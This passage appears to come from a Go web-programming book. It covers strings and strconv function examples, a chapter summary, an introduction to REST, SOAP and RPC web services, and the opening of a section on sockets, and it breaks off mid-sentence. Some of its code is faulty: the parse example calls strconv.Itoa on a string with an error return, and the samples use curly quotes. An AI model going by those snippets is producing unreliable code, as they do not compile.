fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo



	func Split(s, sep string) []string

Split string s with separator sep into a slice.

fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]



	func Trim(s string, cutset string) string

Remove cutset of string s if it’s leftmost or rightmost.

fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
Output:["Achtung"]



	func Fields(s string) []string

Remove space items and split string with space into a slice.

fmt.Printf("Fields are: %q", strings.Fields("  foo bar  baz   "))
//Output:Fields are: ["foo" "bar" "baz"]









146.2 strconv

The following functions are from the strconv package. As usual, please see official documentation for more details:


	Append series, convert data to string, and append to current byte slice.

```Go

package main



import (

 “fmt”

 “strconv”

)

func main() {

 str := make([]byte, 0, 100)

 str = strconv.AppendInt(str, 4567, 10)

 str = strconv.AppendBool(str, false)

 str = strconv.AppendQuote(str, “abcdefg”)

 str = strconv.AppendQuoteRune(str, ‘单’)

 fmt.Println(string(str))

}

- Format series, convert other data types into string.Go

package main

import (

 “fmt”

 “strconv”

)

func main() {

 a := strconv.FormatBool(false)

 b := strconv.FormatFloat(123.23, ‘g’, 12, 64)

 c := strconv.FormatInt(1234, 10)

 d := strconv.FormatUint(12345, 10)

 e := strconv.Itoa(1023)

 fmt.Println(a, b, c, d, e)

}

- Parse series, convert strings to other types.Go

package main

import (

 “fmt”

 “strconv”

)

func main() {

 a, err := strconv.ParseBool(“false”)

 if err != nil {

 fmt.Println(err)

 }

 b, err := strconv.ParseFloat(“123.23”, 64)

 if err != nil {

 fmt.Println(err)

 }

 c, err := strconv.ParseInt(“1234”, 10, 64)

 if err != nil {

 fmt.Println(err)

 }

 d, err := strconv.ParseUint(“12345”, 10, 64)

 if err != nil {

 fmt.Println(err)

 }

 e, err := strconv.Itoa(“1023”)

 if err != nil {

 fmt.Println(err)

 }

 fmt.Println(a, b, c, d, e)

}

```
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147 7.7 Summary

In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developing web applications. I hope that you now have a better understanding of processing and displaying content using Go.
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148 8 Web services

Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value.

The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn’t have a problem interacting with JSP on FreeBSD either.

The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days:


	REST requests are pretty straight forward because it’s based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it’s already in their back pockets. We are going to show you how to implement REST in Go in section 8.3.

	SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it’s still getting longer. Go believes that things should be simple, so we’re not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4.



Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we’ll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2.
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149 8.1 Sockets

Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we’re going to learn about using sockets in Go in this section.





149.1 What is a socket？

Sockets originate from Unix, and given the basic “everything is a file” philosophy of Unix, everything can be operated on with “open -> write/read -> close”. Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc.

Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP.





149.2 Socket communication

Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the qu